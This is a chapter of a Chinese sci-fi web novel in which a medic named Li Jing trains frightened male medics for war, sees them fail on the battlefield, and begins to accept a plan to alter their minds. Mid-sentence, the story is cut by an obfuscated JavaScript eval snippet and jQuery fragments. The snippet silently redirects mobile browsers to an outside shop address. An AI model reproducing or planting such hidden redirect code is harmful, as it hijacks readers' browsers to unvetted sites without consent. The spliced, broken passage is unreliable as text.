一年后。
李静穿着身特制的宇航服,面无表情地走在被激光和生物酸液反复犁过一遍的土地上。焦黑色的灰烬与紫绿色的植被混合,她眯起眼睛往远处看,到处是雾蒙蒙的,空气中有一种甜腻的、腐烂的腥味。
被击毁的生物兵器残骸散落在各处,就像是远古的巨兽的化石。它们似乎并没有真正死去,而是缓慢的蠕动着、被地面上的植物们吸收着,有些是锄地兽的尸体,有些是李静叫不上名字的新武器。
隔离器碎片随处可见,有些大块的晶体里还封着来不及救出的雌虫肢体。半透明的琥珀色晶石上沾满了泥和血。
雌虫的力量很强大,恢复力也很强,李静以前还会疑惑,为什么帝国还需要发明高科技武器。后来她才明白,帝国所谓的武器,不过是专杀反抗军的特制产品。
死亡率报告指出,帝国最新迭代的武器能够在短时间内迅速摧毁雌虫的□□,很多雌虫根本来不及接受疏导就已经死亡。
一年前,李静不顾利博安的反对执意随军,第一次亲眼见到了属于虫族的残酷战场。作为雄虫和军医,她本该安全的躲在后方,但有精神崩溃的雌虫倒在她面前时,她还是忍不住冲了出去。
她用力地抱住那个不停尖叫的雌虫,一瞬间,她用大量的精神力在一瞬间完成了对那个雌虫进行了疏导。一根巨大的黑矛和她擦肩而过,划破了她的脸颊,正中她的小腿。
她被钉在地上,怀中的伤患还在昏迷,同行的雌虫冲过来救下她,他满脸焦急地训斥着她,李静看着他的嘴张张合合,却什么都听不清。耳边是巨大的轰鸣声。她一时间感受不到刺痛,只有深深的,深深的迷茫。
利博安走过来,拔出了她小腿上的尖刺,然后给她包扎。李静浑身僵硬,动弹不得,只能呆呆地看着利博安的动作。
她总觉得利博安会说些什么。
也许是,我早就说了你不该来。也许是,我说了雄虫不能上战场。也许是,我早就知道会这样。
“说什么都好”,李静想:“说点什么。”
可是他一言不发,他把伤患背在背上,用另一只手抱起李静。
“我带着路得和缪尔去驻扎地,你们小心。其他伤患也要一起来...你去帮他们。”利博安表情严肃地指挥着士兵们行动。
在撤离的路上,李静亲眼看到一个雌虫被激光击穿胸腔,他在地上挣扎了一下,然后在几秒钟后重新站起来,他的伤口愈合了,但精神海却因为剧痛产生了紊乱。
雌虫会继续战斗,直到再也站不起来。
她看到雌虫被精神海崩溃,在战场上失控地抽搐、哭喊,有的能被周围的战友及时拖走,有的却不行。
李静的精神力能感知到大量雌虫的精神波动:恐惧、痛苦、愤怒、麻木。它们像潮水一样涌来,冲击她的精神屏障。
之后发生了什么,李静已经有些记不清了。在临时驻扎地里,她一刻不停地进行着疏导。
那时候是什么心情,她也已经不记得了,一切都蒙着一层血色,最终,她耗尽力气,昏了过去。
后续的战报展示出了军医的巨大作用,对比同样规模的作战,本次反抗军的伤亡率相较以往减少了百分之三十。
这只是一个人...不,一个雄虫的作用。
李静再次醒来时,已经身处在星舰的病床上。
主舰把帝国的追兵引入一颗无生命存在的星球。在这里,他们成功反扑并逃亡,但战况惨烈。
伤愈不久的亚当在这次逃亡中遗憾牺牲。不只是他,还有很多李静眼熟的雌虫死去。她甚至还不知道他们的名字。
所谓的奇迹,真像个笑话,李静用力地捂住脸,嗤笑着自己的天真。她并没有哭。
李静和安如,海拉一起,总结了一下上次作战的经验。
她开始执行一个专为雄虫设计的作战训练,渐渐成长为了一名合格的军医。
只是,她始终不敢真的动手杀虫。
安如对此没有意见,他认为李静所做的一切已经远超他的期待。对比之下,安如对飞船上的雄虫们愈发厌恶,但李静仍在尽力拖延洗脑计划的进行。
而瑟维尔,他成为了李静的助手。
瑟维尔是帝国贵族。和安如一样,他也是被软禁着长大的。是安如改变了他,安如覆盖了他精神海里被王所监视着的部分。
他把自己知道的一切都向李静和盘托出,成功换来了她的信任。
她和瑟维尔的合作,成功带动了部分雄虫练习精神力。他们试着去治疗雌虫士兵,参加了军医培训,暂时压下来安如的不满。不过还有几个帝国的雄虫顽固不化。
联邦雄虫的意识海里没有王的存在,而在联邦,雄虫的地位不高。李静觉得,这两件事有所关联。但她十分忙碌,并没有时间进一步调查。
一整年的严格培训,数次试点实战,李静成功地组建了一支合格的医疗队。雄虫们在模拟作战中表现不错,只是欠缺实战。
利博安不再反对李静参战,他们很少交谈,只是偶尔在擦肩而过时互相打个招呼。对视,然后点头。
李静知道,利博安对她还有很多疑问。但他从来都不开口询问,李静也赌气似的,不愿主动和他讲话。
她忙于训练和学习,忙于培训学生,她忙着给士兵们进行心理咨询和精神力疏导。
有时候她累了,还没有开口抱怨,利博安就直接过来了。
他也不说话,就坐在李静办公室的一个小椅子上,在一旁无声地观看。
其他时候,士兵们都会和李静主动开开玩笑,她和他们有说有笑的聊一聊,大家都很开心。但利博安一来,办公室的氛围就不太对劲了。
利博安面无表情的在旁边看着,其他士兵们正襟危坐,李静瞪他,他也不动,就在一边等着给李静做精神力疏导。
工作完了,李静气哼哼地走到他旁边,利博安看她一眼,又把头撇到一边。李静叹了口气,坐在他身边,把眼睛闭上。
“你可以靠在我肩上。”利博安的声音很轻。
过了一会,李静才靠过去。她会靠在他肩上小睡一会,再醒来时,她的头就不痛了。利博安会对她点点头,然后起身离开。
他总是很少说话,只是每每都不厌其烦地开口让李静靠在他肩上。李静也每次都等他说出这句话后,才愿意真的休息。
如此过去了一年。李静才觉得是时候让那群雄虫新兵们上战场了。
***
在临时搭建的医疗站里,雌虫们横七竖八地躺在充气垫上,有些人还在流血,有些人已经不再流血,只是呆呆地望着天花板。
雄虫军医们站在一旁,手在发抖。
他们不知道该做什么,也不确定自己能做什么。他们从未见过这么多受伤的雌虫,也从未在如此巨大的压力下使用过精神力。
李静是唯一一个能在混乱中保持冷静的人。
她当机立断地分配任务、先判断优先级、再用自己的精神力压制住最严重的紊乱病例。但只有她一个人是远远不够。
一个雌虫士兵在精神海即将崩溃前,被李静成功疏导。随后,他身上的伤口全数恢复。
“谢谢你,路得。”他说完,就重新投入战斗中。
李静轻易地就做到了其他雄虫军医做不到的事。有几个雄虫面露羡慕,李静擦掉额角的汗珠,一抬脸,正对上他们欣羡的眼神。
她皱着眉头,训道:“你们的训练都是白做的吗?都出去干活!疏导不好重症就找轻症,用精神力把自己藏起来。去!”
他们匆匆忙忙的动起来,李静站起来指挥每一个雄虫到位。
反抗军与帝国在塞勒里诺卫星附近的一颗行星爆发冲突。李静带着第一批雄虫军医随军出征。
战场上,一名年轻的雄虫军医被李静分配到了前线医疗站。
他之前在训练中表现良好,但在看到真实的战场后,他精神崩溃,逃离了医疗站。
因为他的逃离,一个重伤的雌虫士兵被半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942127|210343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
途中断了精神疏导,最终自愈能力消失,死于伤口恶化。
另一个雌虫士兵为了保护同伴,在冲动之下追出,却意外暴露了位置。他没能及时躲避帝国的精神偏振攻击,幸好及时得到了隔离器封存。
李静姗姗来迟,她安排的士兵临阵脱逃,导致重大牺牲。这是她的责任,她的问题。
她亲手处理了那两个雌虫士兵的后续:一个被埋葬。一个被隔离,等待后续治疗。
她找到那个雄虫新兵,发现他蜷缩在飞船的角落里,浑身发抖。
他抱着自己,嘴里不断重复着:“我不行,我不行,我做不到。”
李静没有骂他,她蹲下来,轻声问他:“你为什么抛下伤员?”
那新兵说:“我本来在帮他做疏导...可是他的记忆...让他精神海紊乱的记忆和周围的场景太像了,我混淆了!我害怕!我以为帝国打过来了!”
“所以你主动中断了疏导...你明明知道这样做对雌虫的精神海损伤很大!”她的声音里有压抑不住的怒气:“我培训了你一整年,我给你强调过无数次...无论发生什么情况,都不能打断疏导。你为什么不用隔离器?你不是随身带着吗?我说了环境不安全,不要贸然疏导!”
“对不起!对不起!我忘记了!我太害怕了...”那雄虫被吓得哭了起来。
李静用力地摁住刺痛的额角。
而这雄虫的状况并不是个例。
初次作战表现极差。
安如把战报发了过来,李静皱着眉头仔细翻看。同时发来的还有一个消息:
“我说了他们不行。你看到了吗?李静。仁慈是不够的,你需要让他们服从。”
李静看着那条消息,深深地叹了口气。
雄虫军医的问题不是能力不足,他们没有经过真正的战场训练,也没有承受战场压力的心理准备。他们被帝国保护得太好,习惯了舒适的生活,无法在混乱中保持冷静。
而联邦雄虫呢。虽然不受保护,却过分的胆怯和懦弱。总想着逃跑。
安如是在提醒她洗脑计划的存在。
李静最开始是非常反对这个反人性的计划的。
可是这次挫败,让李静意识到。这个计划确有可取之处。
她的天真如果只是害了她自己才好。
两个士兵...许多个士兵因为她那无用的同情心失去了生命。
她在想:能不能通过精神海微调,让军医在战场上遗忘恐惧。
让他们在极端情况下,条件反射式的完成任务...这是她洗脑计划的开端。
李静不称其为“洗脑”,她称其为“保障”。
但她知道,这件事的本质和安如的计划一样。
雄虫也许总有一天可以被说服,可以被教育,可以在战争中成为拯救者。他们的生命很长,相对的,他们成长的速度会比较慢。
可是一年,对一个人类来说,并不短暂。
如此多的努力,却没给那些雄虫带来任何显著的改变。
战场毫不留情地告诉她,这点努力还不够。
要不要拉拉杆?
要让电车压死五个人,还是五百个人?
李静过去的想法是...不拉。她会后退一步,无论结果如何。她都不会参与。她不愿意背负更重的道德枷锁。
可是现在,她改变了想法。
她没有和瑟维尔商量这件事,也没有立刻把这个计划告知安如。
这场战斗结束了,李静开始做后续的疏导工作。利博安照例走进她的办公室。
她没有理会他。
完成了所有工作后,李静坐到利博安身边,她对他说:“我和他们一样。”
“谁?”利博安有些疑惑。
李静说:“我和安如一样。我和他们一样。我并不特别,你说错了。”
利博安没有回答...他轻轻碰了碰李静的胳膊,让她靠在自己肩上。
“你累了。”他说。